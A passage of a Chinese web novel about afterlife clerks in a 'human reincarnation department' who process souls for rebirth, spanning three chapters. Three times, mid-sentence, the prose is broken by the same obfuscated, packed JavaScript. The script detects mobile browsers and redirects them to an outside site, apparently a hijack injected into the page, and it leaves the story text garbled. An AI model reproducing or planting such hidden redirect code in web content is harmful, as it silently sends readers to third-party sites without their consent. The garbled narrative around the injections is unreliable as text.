《人类投胎部门》 1. 人类投胎部门 【请1135号亩铁生到人类投胎部门一科室3196号工作室复核。】 【请1135号亩铁生到人类投胎部门一科室3196号工作室复核。】 【请1135号亩铁生到人类投胎部门一科室3196号工作室复核。】 机械音环绕大厅,十五连排的椅子上挤满等待复核的人类灵魂,随着第三遍提醒的声音响起,坐在两只海绵宝宝中间的亩铁生举着双手弹出来。他慌张地看着悬空屏上自己的名字,又摩挲了两下手里的身份卡,朝着屏幕飞奔而去。 “嘀——” “身份确认。” 有些枯燥的机械音在白晃晃的房间内环绕,白贠打开新的界面,一个滚轮出现在眼前,滚轮上是一个名叫亩铁生的男人的一生。 0-3-6-9-12-15-18-21-24-27-30-35-40-45-50-55-60-70-80——从小到大的节点一一显露,白牟拿着条子一个个扣章,随着滚轮里老人的眼睛合上,章也啪一声扣在了条子的末端。她取出针剂,从呆呆木在等候区的亩铁生身上抽取出一针管蓝色,滴在章的旁边,蓝色的液体在条子的末端渗透到每一个节点,一直到条子的开始结晶成白色。 这个过程并不算长,但是白贠已经从上个纪念日开始一直工作到现在,从她手上复核的人员没有千万也有百万,小世界又崩溃一个。死去的有意识的生灵全部要重新投胎。亩铁生所在的世界是个S-6级世界,正在升级孕化阶段,不幸升级失败。死掉的有意识的生灵除了人类还有动植物,白贠所在的人类投胎部还好,林生负责的草本类转化部门更是忙得一团。 结晶正在生成,白色絮状物不断从人生节点溢出,蔓延到条子左端。亩铁生还是木僵在工作台旁边,双目无神。白贠要做的是最后一道工序,复核身份,再确认投胎意愿,前面所有的解释、选择等等一般到这个时候都没有存在的必要。白贠忍不住打了个哈欠,有些后悔自己选择了人类的身躯。 结晶生成。 嗯,没什么问题,大体为白。白贠把条子送进检测的机器,横贯条子末端的蓝色被吞成黄色,一直从下方吐出。等到最后的末端出来,蓝屏下方顶上来一个亩铁生的复核程序。 还是要喝咖啡,白贠熟练地捏着条子的末端,把结晶弹出去贴在了亩铁生的脑袋后面。等她打开亩铁生的复核程序,亩铁生已经清醒过来。 “亩铁生?” “是。”亩铁生经历过很多次这样的问话。 “S-6级流云紫星G国尔达斯州琉璃区人?” “是。”尽管一开始听到这串名词不知道什么意思,经历过15次解释,亩铁生已经牢牢记住了。 “精神度60%,完善度65%,纵深1%,惊扰度20%,综合评估60%,以上数据是否有疑问?” “没有。” “意愿投往S-6级流云紫星G国尔达斯州琉璃区36-小树。” “是。” “再次提醒,S-6级世界正在崩毁,投胎通道不稳,不确保成功,是否确认?” “是。” “好的。亩铁生,您的投胎意愿已确认,您还有最后30秒时间,如有任何疑问可以提出。30秒后没有疑问,将进行最后的投胎程序。” “是。” 时间一点一点过去,流荡的红云在蓝屏上飘逸,蓝屏左边是密密麻麻的已处理事项,每个事项都经历过亩铁生一样的处理流程。或许她之前处理过的人里面,还有亩铁生的亲近人。每一个已完成的任务,都是她的时间。 困意一点点袭来,白贠没有动作,这是她最后一个任务。蓝屏底部是99999999/100000000,当进度条满时,她就能离开这里。开始她下一纪念日的休假。 26- 25- 时间过得很慢,亩铁生安静地待在工作台前,其实他本可以早些投胎,但是上一次在最后的确认流程,他忽然涌起一种难以抑制的恐惧,他不知道那是什么恐惧,但是那种恐惧摧使着他在18的时候喊了否,他不愿意就这样投胎。 可为什么现在愿意了呢?是因为他终于确认自己想要转生成什么了吗?还是他已经在繁复的流程中失去了所有意愿。他不愿意再看着自己的人生影片一样闪过,他的卑劣,他的愧对,他的满足,每看一次,他都会想,这个人是自己吗? 23- 他又涌起强烈地喊停的意愿,可是他还是没有张口,他一开始是想要转生成希望基地长的儿子的,但是工作人员告诉他,希望基地长的孕育名额早已用完,她没有后代了。他又想着成为猎豹队长的儿子,工作人员告诉他,猎豹队长已经失去了生育能力。他一连换了36个对象,几乎把他想要的稍微想要的凑合的都说了一遍,可是工作人员一次又一次地摇头,不知疲倦。他心里升起一股恶意,他吊儿郎当天马行空地说,但是工作人员远比他有耐心,于是到最后发疯发狂痛苦疲倦的变成了他。 20- 然后浑浑噩噩地,他最后选择了植物领的蘑菇孢子,他将一切当成儿戏,或许儿戏是他恐惧的外化,可是当一个又一个的流程走下来的时候,那股他克制压制的忽略的情绪一点点蔓延,他坐在两个海绵宝宝打扮的人中间,听到呼吸带来的回腔,好像他把大哥从车上推下去启动时听到的车子摩擦声,他的嘴唇抖动着,不明白为什么死了还会和活着一样感受到憋闷的情绪。海绵宝宝挤压着,像他的灵魂被挤成薄薄的片状,他的哥哥从车上下来,把车轮下碾好的小面包撕给他吃。 18- 情绪像是海,卷着回忆一瞬间惊天骇浪,所以那时候他控制不住地嘶吼,反悔。可是反悔后又能做什么呢?亩铁生呆呆地看着18一闪而过,他的嘴唇又抖动起来,那时他回到起点,问哥哥怎么样了,问他选了什么投胎,问他卖掉的妻子死了没有,问他亲手换出去的女儿。工作人员带着温和地机械地微笑,一遍遍说着无可奉告。 17- 虚伪,情绪被漫长的流程拉扯成稀薄的汤,亩铁生冷酷地告诉自己虚伪,好像一个勇于剖析自己的思想家,明明不想死,明明害怕消亡,还要拿所谓美好来当做借口。他一下下锄下去,好像这样就能把不好的地方锄掉,他就能说自己是个好人,理直气壮地要求赔偿。 16- 又一次看过去的经历,一切的情绪都消散了,亩铁生机械地回答,说是,说否。忏悔没有用处,痛哭流涕只会浪费时间和情绪,他擅用的招数通通失去了效用。好像在确认的是他人的人生,有时候他回想,他是叫亩铁生吗?他现在在做什么?是个很奇怪的梦。 15- 梦里什么也没有。 13- 亩铁生呆愣着,好像醒着和木僵没什么区别。白贠没有关注他,她只是静静地等待,看着数字从12跳到11,无声无息。真可怕啊,好像她选择了死后工作,她的时间就在这样默声中度过。 9- 很奇怪不是吗?明明当时自己已经选择了投胎,她想要投胎成她的好朋友的女儿,她很羡慕好朋友的状态,好朋友一定要让孩子变□□的结晶。她想要试试爱是什么。可是也是跳动到9的时候,她忽然反悔了。 8- 她问还能反悔吗?她说246号曾经问过她愿不愿意成为辅助人员,她说她想要接受邀请。工作人员并没有为难她。而是调出了程序,发现确实有一封邀请函。 7- 自己成为工作人员的契机是什么呢?白贠盯着跳动的数字,好像是她的纵深和惊扰度一致。 6- 不能再这样工作了,当初不应该因为度司是人类形态而选择人类的,人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175861|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要睡觉,需要进食,需要放松,太多太多要打补丁的内容。 5- 4- 3- 这次休息日一定要想办法把形态换掉。耗费的点数太多了。 2- 1- “S-6级流云紫星G国尔达斯州琉璃区亩铁生,意愿投往S-6级流云紫星G国尔达斯州琉璃区36-小树,请确认。” “S-6级流云紫星G国尔达斯州琉璃区亩铁生,意愿投往S-6级流云紫星G国尔达斯州琉璃区36-小树。” “已确认。”白贠启动程序,白条飞回到她的手上,她将白条放入另一条机器,打上开拓章和确认章,盖上自己的名章。然后将白条留存、备份,取出一份备份交由亩铁生。 亩铁生消失了。 最后一点星芒漫溢,100000000/100000000显出灰色。白贠调出控制码,转到关闭。这个房间的传送通道关闭了,与此同时,另一个通道开启。 白贠向后倒去,床飞快地延伸,她捧着咖啡,喝了一口。 不太管用了。 一般从复核部门出去,没有其他变故的话,投胎程序要等到24h后就会彻底完成。那时候100000000/100000000就会变成黑色,意味着这一纪念日的工作结束。 休假去哪里玩呢?白贠一口气干了咖啡,歪倒在床上,模拟的睡意缓慢启动。去星星球吗?可是上次已经去过了,水母章鱼系?但是好贵啊,她还要攒点数复活母亲。碰碰车游乐场?那里的车好容易碎,碎了就得赔。 便宜没好地。 难道还加班吗? 睡意蔓延,随着神经递质的运出而作用。人类的躯体好在不用购买情绪模拟剂,坏在情绪控制很困难。上次普调的时候她算了笔账,虽然人类躯体的维护费用很杂,但是情绪模拟剂这一项就可以省很多点数。其他杂七杂八的加起来虽然多,但是惠而不贵。 可最近以人类为主的小世界崩溃得太多了,能量溢出,情绪模拟剂的价格应该会大幅降低。不知道因为什么,上个纪念日和这个纪念日的工作强度陡然高了许多,人类身体的维护费用综合起来也变高了。按理说工作变多,从灵魂里挑选的工作人员也会变多啊。 还是失衡了? 白贠模模糊糊地想,睡意蔓延到全身,模拟的雨声滴答,漂浮的潮湿的气味坠下去,如果还是这种强度的话,还有三个纪念日,应该就能攒够了…… 滴答滴答,滴答滴答,她终于整个人沉入到梦乡里去了。 屋内暗沉,时间一分一秒流失。另一个部门内,亩铁生拿着劵码,挪动着步子排队往前走。前面的人一个个跳到灰色的传送带上,经过挤压变成薄薄的片状,又被卷起来缠成球体,放到模具里压成正方体。每个正方体都大同小异,无非颜色与纯度的区别。一个个正方体被投入晕眩器,在那里清除掉上个世界的痕迹,白条缩成条码,刻在半透明的正方体上,咕噜噜顺着甬道滚落。 在亩铁生经过晕眩器后,白条上的名字变成了S6-368957654215,一个微微泛白的正方体吐出来了,S6-368957654215几乎一瞬间浮出来,又掉进暗沉的通道里去。 100000000/100000000变成了黑色。 数据库悄然变动,所有人类投胎部门的工作室的数据向上汇总,100000000/100000000化作1跳到9999,10000又化作1跳到99999,100000又化作1跳到9,10经由判定变成红色,进入异常数据处理。传递到上再一层层返还,追根溯源。最后精简填充,混合动植物部门的报告一起,化作了S星系待处理事项的文件。 模拟的日光初显,彩云渐开,一只手点开了升级实验。 “咦?” 2. 借调 【亲爱的1-3-5-8-9-S6-3-1-6-3196员工白贠,您将被借调到S6-1-3-人类投胎部门,担任3-人类投胎部门一科室主管,权限开放至15级。具体事宜请办理交接后接收。】 叉子刺啦划出盘子,白贠皱着眉头又看了一遍,然而跳跃的蓝屏显示告诉她并没有听错。那条在早上就蹦出来的信息念的确实是她的调任通告。她发信息问是怎么回事。那边迟迟没有回复,直到白贠无意识地吃完了一整个做成吐司的白晶,一条信息才体贴地蹦出来。 【具体事宜请到1-人类投胎部门六科室处理。】 ——1-3-5-8-9-S6-3-1-6度司。 白贠顿住了。 度司是1-人类投胎部门的总领,也是白贠的上司。 度司是个很漂亮的女人,当初选择概念词的时候,她选择了伊甸园的蛇果,结果出来的是漂亮的属性词。漂亮到每次白贠去见她,都只能看到一团模糊的马赛克。她的美超越了人类极限,所有物种看到她都是最漂亮的形态。反应在人类躯体上就是美到极致的白光。 难道我认为的美是一团马赛克吗? 所以现在白贠坐在她面前,眼睛不由自主地流下泪水,那团美丽的光透过马赛克辐射到了眼睛。她赶忙给自己打了一针稳定剂,不清楚度司为什么不开模拟场,而要她到伽玛星系来。 是因为这次调任不同寻常吗? 模拟场她还能舒服一些,看到一团柔和一些的泛着白光的马赛克。舒服的感觉可以持续半个纪念日,能够省下不少稳定情绪的点数。可是这次,不知道多久才能稳定。 感觉身体又快要溃败,白贠赶紧又给自己补了一针稳定剂。 【放轻松——】 一团白光由远及近,那种要解体的感觉越来越严重。白贠干脆给自己带上了稳定泵。她没想到述个职还要遭受生命危险。随着白光越来越近,泵里的稳定剂浓度越来越高,白贠紧闭着眼,整个人粒子分解一样抖起来。当白光的范围接触到她逸散的粒子时,她整个人失去了意识。 稳定泵还在工作,疯狂抽取着稳定剂,然而B级稳定剂无法应对长时间的照射。白光蔓延到人形的粒子内,粒子崩溃又重解。一团模糊的光探出来,摁在了略有些紧凑的球形物体上,粒子的崩解悄然静止。一张白条显露出来,后半部分续着永恒的蓝。白条蕴进了白光内,度司看过一遍,轻笑一声。将白条撕成了两半。 一张白条变作了薄薄的两张。度司拈起一星白光,放进了两张白条之间,又将其合拢在一起,弹回原位。静止的粒子一瞬暴裂又重聚,等白贠回神,面前已经没有了度司的身影。 【升级已完成,建议接下来三个纪念日前往稳定场稳定。】 【工作交接程序已发放至账户,请及时处理。】 升级? 白贠模模糊糊地想,好像一切都隔了一层。她模模糊糊地去往稳定场,穿越伽玛星系来到恒定射线内部,蓝屏不断跳出新的信息,催促她尽快处理,她模糊地应答,模糊地回复,模糊地把所有东西关掉。又好像是清醒的,清醒得拒绝,清醒得交接。 好像回到她死亡之前,回到那个日光爆裂的下午,她困到极致,却自以为清醒地在书上记下笔记。 黏腻的液体渗出,分解,游荡,重组。她好像回到母亲的怀抱,看到母亲抚摸着涨大的腹部,听到羊水传来的外界的声响。她在温暖透暗的腹腔内游荡,脐带连接着胎盘附着在子宫壁,源源不断汲取母体的营养。 潮湿,敏感,逐渐清晰。她的意识仿佛小树,又仿佛聚拢的光,逐渐穿破天国,来到地面。 她睁开眼。 “所以你是说我拒绝了所有的员工分配一个人来到了落蓝星系?” “我不仅拒绝了员工分配还关闭了联络渠道?” “我还给自己申请了状态返还?” 白贠一拍桌子,久违的疼痛感顺着神经一路传达,她疼得缩起手,“我要反馈!这是异常!员工在无意识时做出的回应不能够作为明确反应!” 【您通过了意识检测。】 “这不可能!” 蓝屏调出当时的观测记录。 白贠目瞪口呆地看着自己的行为,如果不是因为自己清楚,她几乎也要认为画面里的人很清醒。她看起来和平时别无二致。一系列流程都是合规,她颤抖着手,看画面里的人稳定且一锤定音,“确认申请。” 你申请的是关闭员工名额!你申请的是关闭联络渠道!你申请的是花费所有点数状态返还! 我要上法庭!我要申诉! 激烈的情绪冲击着白贠的大脑,她死后工作数万个纪念日的记忆还在脑海,却好像生前的电影一样不起波澜,她还能感知到那确实是自己,也能够说出准确的细节,可是她现在的状态,好像刚刚死去,最为鲜明的记忆是死前那一生。状态返还是拯救濒临崩溃员工的重要措施,极为昂贵。 昂贵有昂贵的理由,白贠抱着脑袋,眼泪止不住地留下来,痛苦悲伤愤怒的情绪源源不断,她想流着泪把度司揍一顿,尽管理智告诉她只要一靠近根本挨不着度司一根手指头她就会回归本源。 度司为什么要做这一切? 能够做手脚的只有度司,只有在度司那里白贠失去过意识,或者说白贠认知力能够做手脚的只有度司。白贠一边流泪一边捶地,根据工作交接内容,她虽然升职,实际管控区域扩大,但实际上她是从3级文明来到了1级文明。明升暗降。更别提目前通道关闭,她根本无法完整使用升级后的权限。 人类投胎部门的框架白贠并不清楚,她只知道她所在的科室负责复核。而像她这样的复核工作室有成千上万个。度司虽说是她们的上司,实际八个科室,第六科室负责人负责总调。也就是说,度司是她目前已知的权限最大的人。 工作交接程序下方扣着她的本源印章,那是只有她才能扣动的章。调动后的内容明明白白浮现在眼前,她,白贠,服从调动计划,并申请密闭改革,并为结果负责。 通过目前已有条件,完成投胎的基本职责,并使世界树培育进度前进。 鬼知道世界树培育怎么前进啊!在来到这儿之前她根本不知道什么是世界树! 她死之后一直在工作一直在工作攒着点数要复活妈妈啊! 鸟不拉屎的地方呜呜呜好不容易要攒够的点数呜呜呜该死的世界树呜呜呜…… 白贠伤心得嚎啕大哭,她根本不知道怎么完成任务,她死的时候才二十来岁,情绪本来就不稳定,更别提她刚刚经历了什么叫做功亏一篑。 明明白白的困境。 更别提还一个人没有! 白贠接收了所有资料后,颓废了两三天,她本来还有一纪念日的假期没有用,通通被换成了点数变成了能量块。蓝屏没有催促她工作,或者说,之前的孤注一掷为她赢取了这片区域最大的权限,如果世界树培育进度没有前进,她又没有在能量耗尽前建立起循环器,那么她将会消散在这片星系。 两三天耗费的能量微乎其微,终于稳定下来的白贠站在海一样的能量前,如果她一个人用,这些能量足够让她度过千万个纪念日,可是——这儿什么也没有。 白贠挥挥手,在虚空中搭建起一座坚固的轮回阵。那是她按照人类投胎部门的微缩模型的第一层建造的,轮回阵极为简陋,可以回收虚空中散落的灵魂。落蓝星系有数千亿恒星,而有生命的,属于人类投胎部门负责的,目前还在统计。 偏远不仅意味着落后,也意味着资料不足。 根据文明保护法,白贠不能人为大幅提升文明等级。如果她出去,这将会是她的严重过错。如果她没出去,提升等级只会消耗储备能量。 接引系统还在工作,白贠将接引系统和轮回阵链接,塞进去一整块能量,足够当前系统运行2-3个纪念日。随着接引系统的工作进行,一条又一条的光带链接到有生命的星球,白贠有条不紊地放入场景模拟器,将当前生出意识的星球链接上去。瞬间,在轮回阵外围了一层的光幕,密密麻麻的光屏显露,每一块光屏都是一个星球的轮回意向。 地下河、轮回司、地府、冥王、母树、黑洋…… 白贠接收着场景模拟器收集的资料,意识到这是一个和她生前生存星球很像的星系。 更多的光屏浮现,在轮回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175862|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵外挤成一个泛着光的球壳,远远望去好像发光的微星,星外缠着一圈风带。越来越多符合要求的星球链接,接引系统穷尽搜索。终于在光屏分出三个球壳后,完成了工作。 内层136981,中层6985462,外层112369878,白贠取出模拟微缩器,链接接引系统,选择初步刻印,很快一个小小的漩涡被吐出,剥开漩涡,里面是漂浮的落蓝星系模型。 白贠将漩涡放置轮回阵上端,和核心相连通,漩涡不断变化又重组,终于在漩涡动起来的时候,从漩涡里小小的星系上,发射出微白的光线,数亿光线缠绕在一起,绕成一颗小小的树。 世界树。 一颗枯萎的,将要失去生机的世界树。 白贠薅过一把内层的光幕,十二块光幕接连抖开,她通过光幕望过去,看到环绕着世界树的培育进度条变黑了一部分。她把手里的放回去,又扯来另一些光幕,果不其然,还是变黑。 难道是要把每个快要崩溃的星球的生命拯救? 白贠看着环绕着自己的,巨大的球形外壳,几乎升起无望之感。每颗星球都有数千亿生命,每个星球的轮回都要改变,它们既然会崩溃,一定是哪些方面出了问题。可是她一个人,要做到什么时候? 她有耐心,快要崩溃的可以等吗? 白贠忽然间明白,为什么度司那样肆无忌惮。她所拥有的能量,在逆转所有星球上不过是沧海一粟,就算她把所有的能量块喂给世界树,也没有办法改变世界树枯萎的进程,只能延缓。除非她找到根治崩溃的方法,不然她将会被困死在落蓝星系。 她将永远没有办法复活自己的母亲。 她慢慢坐下来,几乎和在工作室一样,按部就班地工作。她接引一个星球的生灵,磕磕绊绊地按照标准流程询问投胎意愿,她只有一个人,所以简化了许多。可是那个星球的生灵越来越少,在爆发后断崖式下跌,最后那光幕消失在眼前。旁边的光幕迅速挤占。 白贠试了很多次,很多次,她试过堆叠能量,结果那个星球畸变辐射,形成了黑洞。她试过拨弄文明进程,可是那个星球从一级升到二级后迅速自我毁灭。她试过编造命运书,可是命运书里的人物反抗命运轨迹,反而加速了毁灭。她试过映射能量石,可是基因突变,末世降临。 后来她试得疲倦,于是颤抖着手点化出母亲来陪伴她。她知道这是虚假,于是后面又挥挥手消散。再后来,她不再消散母亲,而是点化出新的来。更后来,一个星球破碎,她就点化出一个母亲来。 一个又一个母亲的形象环绕,状态返还让她几乎回到刚死亡的那一刻,她心里满是对母亲的思念,可是点化的人一个比一个像,也一个比一个假,母亲温柔地环绕她,安慰她,和她一起度过一天又一天,和她讨论如何才能拯救。可她知道那不是母亲。就像她知道这样根本无法拯救世界,完成任务。 她的母亲的本源在储存库里,她只有完成任务回到岗位才能够真正复活母亲。她自娱自乐,自暴自弃,却发觉心底的空洞越来越大,她悬空在球壳间,阵法还在平顺地运动。 母亲啊母亲,又一个星球湮灭,白贠闭着眼,点破一个又一个幻像,幻像好像真的死去一样依依不舍地望着她,也好像不甘要冲她嘶吼,她接连点过去,于是一个又一个母亲破碎在指尖。最后她一扫,所有的幻像如泡沫消失。 白贠叹口气,她周遭幻化出死前的景象,她不断重生又长大,在数千个轨迹里嬉笑怒骂,一个路口延伸出一个新的她。她试过了,时间漫长,她的激动、好奇、暴躁、愤怒被流水冲刷,几乎要消失在漫长的河流中。只有一点不甘顽强地呆在那里。 那点不甘好像顽石被磨出尖锐,她生前是个普通的人,死后也是,她流水线一样工作,在灾难到来时毫无反抗之力。可是普通人尚且有怒骂之时,她不甘也总是正常。 最后试一试吧,延伸,拉长,白贠化作一张薄膜,包裹住三层发光的球壳,她包裹了一层又一层,极致的延伸崩解了身体,她化作微小的白光进入世界。 轮回阵还在继续工作,漩涡上世界树继续枯萎。发光的球壳好像拥有了生命,孕育着新的希望。 3. 人类投胎部门下属a33科室主管刘溜 “什么啊,人类投胎部门下属a33科室主管?”刘溜使劲揉了揉眼,定睛一看,眼前的字眼还是没有改变。 “亲爱的刘溜女士,鉴于您生前的良好表现,特对您发出工作邀请。协助伟大的世界树协调本世界的轮回投胎。福利和职责如下,请及时查收。” 机械音念完后,黄色的字符安安静静不再跳动。刘溜瞪大眼,甚至能在虚拟的光屏上看到自己的脸,“我?鉴于生前表现?” 哦呵呵呵呵,鉴于生前表现,我生前做什么了?刘溜仔细地回忆了一下,她从小按部就班地上学,大学毕业后工作,工作五年后熬夜看小说因为cp互动了猝死——好像唯一不寻常的就是猝死了吧。因为熬夜群体多为年轻人,这点应该也不太寻常了呢。 让一个母胎单身没有恋爱过的家伙负责投胎这项事宜真的好吗……刘溜伸出一根手指,点开了接收程序,不管怎么样看看再说,反正她死了也没什么事干。 “协助人类投胎,可使用通道为生命通道与非生命通道……”刘溜费劲地理解着,话说死了为什么还要读公文报告啊!就不能通俗易懂一点吗! “……当前滞留无归纳生命体总数:136542,赋予组建工作室权限……” 所以其实这一堆的意思就是这个世界目前没有主动的投胎体系,都是生前人们的映射,造成了很大的损失,让轮回不均衡了,所以要她主动出手创建一个公平点儿的体系,让生命轮回均衡是这个意思吧! “福利-福利-福利呢……”刘溜刷刷刷往下滑,结果只在很小的地方看到了所谓的福利,她读完后整个人后仰,“什么鬼!福利就是我拥有投胎的权限?” “不是吧!我要是组建这个玩意儿本来就投不了胎了啊。漫长的生命不是做这份工作的必然要求吗?还有创建投胎系统的能量,这玩意儿只能用来工作啊!这和找了个工作结果说出差是福利因为可以到处跑、有电脑是福利因为可以使用有什么区别啊!” “难道你还要我自己买电脑和掏钱出差吗!” “这根本就是没有福利吧!” 刘溜仰天大喊,反正现在也没有人听到。她郁闷地望着天空,一点儿也不激动了。 天气很阴郁,像要下雨,行人匆匆,没有人理会站在街里的刘溜,戴帽子的打工人从她身体里穿过,刘溜望着天空,激动的情绪燃烧,慢慢化作灰烬。她自己平复下来,勉强道:“算啦算啦,说不定也是个好事呢?” “死了连工作都有了,不用被人安排也不用消散,以另一种方式活着,也算奇遇吧?” “只有小时候好奇死了会是什么样子,如今倒是知道了……”刘溜嘟囔着戳戳戳,心里却没有一点实感,她不喜欢这样的安排,又感到诡异的安稳。她飘荡了这么多天,早失去对如今处境的新鲜。 “看看怎么处理吧。”刘溜可有可无地刷起蓝屏,没有福利意味着不用负责,奇特的轨道感,希望这个玩意儿有意思一点吧。 “所以让我来看看——” “处理当前区域亡魂-召唤——”刘溜戳下按钮。 “呜呜呜呜呜大师你一定要帮帮我啊,我儿子他上学又不带饭盒!他这样身体怎么办啊!大师啊我才走多久,我家那口子就想再找个,说啥要照顾儿子。我呸!他就是自己想女人了!” “大师你行行好,我能不能活下来继续照顾我儿子啊?我怕嫁进来的对他不好,大师你慈悲为怀造福行善啊!” 面前的女人嘚吧嘚嘚吧嘚那个能说,刘溜一开始还耐心地了解情况,很快就不耐烦了。不知道是不是看她好说话,眼前的女人蹬鼻子上脸,拿可怜当掩护给人带高帽胡搅蛮缠起来。 “张婷,你的投胎意愿是什么?”刘溜照着蓝屏上的字眼吐出来。 “大师我不想投胎,我想回去守着我儿子呜呜呜你可怜下我吧!” 刘溜脸上带着温和的微笑,皮下写满了漠不关心,“B-1-1张婷,你的投胎意愿是什么?” 她点一点手指,张婷面前的屏幕又刷新了一遍,“B-2-3-8-5-1泥牛村张招娣的雄性后代,B-2-3-8-3-2梧桐县由婷婷的雌性后代,B-2-3-8-5-3环山村大黄狗的雌性狗崽,B-2-3-7-2-1尼罗森林的雄性大猩猩……” 屏幕上列举了种种身份及其介绍,不停地有身份掉下去,有身份补上来,不管张婷怎么哭诉,刘溜都毫不动容,只觉得烦躁。 刷新三遍后。 “B-1-1张婷,是否放弃投胎?” 正准备开骂闹起来的张婷吓了一跳,眼见着刘溜又问了一遍,她张大嘴:“不不不!儿子!我要儿子!” “放弃投胎——” “不是,儿子!我要当儿子!”张婷急得脸通红。 见刘溜又张嘴准备重复,她几乎绝望喊:“我说了儿子!儿子!” “男的!”在刘溜的手指落到确认放弃前,张婷福至心灵,“我要当男的!” 刘溜的手顿住了。 “人类-雄性?” “当然!”这不白问吗。 “请选择以下选项。”刘溜输入男性,蹦出来一溜的讯息。 黄种的白种的黑种的,出生地厕所的田里的屋里的医院的,资源充足的贫瘠的……张婷纳闷地看着一溜的金发碧眼。 “能当外国人啊?” 刘溜点点头。 “还是家里好,熟悉。”张婷下意识去找,结果发现一溜的穷人。 “一个比一个埋汰。”张婷早忘了自己刚刚的想法,只想找个好的。 刘溜也纳闷呢,她一眼扫过去,前面的全是出生地偏远贫瘠的,后面的条件好点儿的却是金发碧眼。她接上端口,一瞬间了解讯息,结果本源地的选项还是很少。倒是旁边有个红色的提示钮。 【部分资源被锁定,单点释放。】 锁定? 刘黎点了下去。 几乎一瞬间,前面的选项被全部顶掉,张婷眼见着全部变成了出生地医院、私人医院、护理院,一整页全没有金发碧眼,描写也一个比一个正常,她瞪大眼,好像被天上掉下来的馅儿饼砸晕了。 “第一个第一个!我要第一个!”眼瞅着要翻页,张婷忽然叫起来。 谁知道是不是故障,捡漏了自己喊了她也不好撤回。张婷沾沾自喜,却只听到刘溜枯燥的声音,“B-1-1张婷,意愿投往B-2-3-1-5-1落煌市王胜男的雄性后代,请确认。” “是!”几乎话音刚落,张婷紧随其后。 “好的,亩铁生,张婷,您的投胎意愿已确认,您还有——” 【最后30秒时间,如有任何疑问可以提出。30秒后没有疑问,将进行最后的投胎程序。】? 刘溜瞥了一眼张婷,发现她焦急下隐藏的后悔,如果这句话说出来,张婷势必会反悔。这个工作一点意思也没有,她抬起眼皮探了探张婷后不远处的灰白色的天空。收回视线时,摁下了确定。 刘溜跳过了确定。 早知道再等等,这看起来不像是捡漏啊。难道刚刚不是故障?那岂不是亏了?万一挑的不是个好的呢?张婷做着一幅惶恐不安强撑着的表情,心底却在思量。 不知道能反悔不能,客服还有投诉——不管了,如果她不让反悔就投诉! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175863|150564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标准化的熟悉的流程唤起了张婷的胆气,刘溜虽然冷漠,但还是懂礼貌的。君子欺之以方。先前被死亡压下的愤怒算计和气恼又涌上来,我居然被这么个小丫头片子镇住了?她盘算着能赖来多少好处,下一秒刚要扯着嗓子喊。就被刘黎眼疾手快定住了。 【是否生成五条?】 五条?什么东西? 眼见着张婷摆出起手式要闹,刘黎刷得摁下去,她讨厌冲突。 张婷定死在那里,周遭的一切好像都凝固了。刘黎耳边响起机械的声音,“程序初始化中,请耐心等待——” 眼前办公样式的半透明屋子亮起白光,“凝取系统配置中——” “调配系统生成中——” “固化系统配置中——” “是否增添复制、打印、修改等辅助功能?” 复制、增添、修改?什么东西?刘黎通通点了确定。于是白光又亮起来,像花一样围着房子绕起来,她本想搜索一下五条,但是屏幕固定死了配置程序,怎么也动不了。 看来是个了不得的东西,刘黎漫无目的地想。 白光持续了整整十五分钟,间歇亮起蓝光,等到几乎能将人魂体融化的光消失后。刘黎发现张婷脑后贴了一张白条。 像是被撕掉一层的纸,浆糊薄薄一层刷出的薄厚不均的脆壳,透过它能够看到手指的颜色。 这就是五条? 像一张白条子。 刘溜把这玩意儿取下来,上面什么也没有,拿在手上都怕震碎了。她搜索五条,蓝屏上蹦出解释。 一个人的灵魂本源? 刘溜按照指示,把五条放到滚轮里,抽出一针管的米白,滴到滚轮旁边的圆形凹陷处,滚轮伉滋伉滋运作起来,一张老大的嘴吧唧着,吐出一阵烟雾。 滚轮上方浮出一个屏幕,以时间为轴显示五条归属者的一生,张婷的人生实在乏善可陈,出生在一个平平常常的村落,有两个姐姐一个弟弟,接受义务教育,然后初中辍学到厂子里打工,工资卡交给家里。谈了几段恋爱,没有长久。二十三的时候被家里人骗回去绑着结婚,生育三个孩子,两个女孩一个男孩。两个女孩先后被奶奶扎针到脑袋里,死掉了。后来生个男孩,在家里、学校、菜市场打转。和丈夫发生争吵,被推下楼梯,死亡。 她还呆呆地僵在那里,滚轮一点点吐出,白条下方逐渐出现一条横穿的轴,每隔一段有个小点。屏幕上还在显示凝固她的一生,只是实在没有什么突出,后半部分像是无数重复的一天,拍过来也没有什么大的变化。 她的人生是由几天构成的。 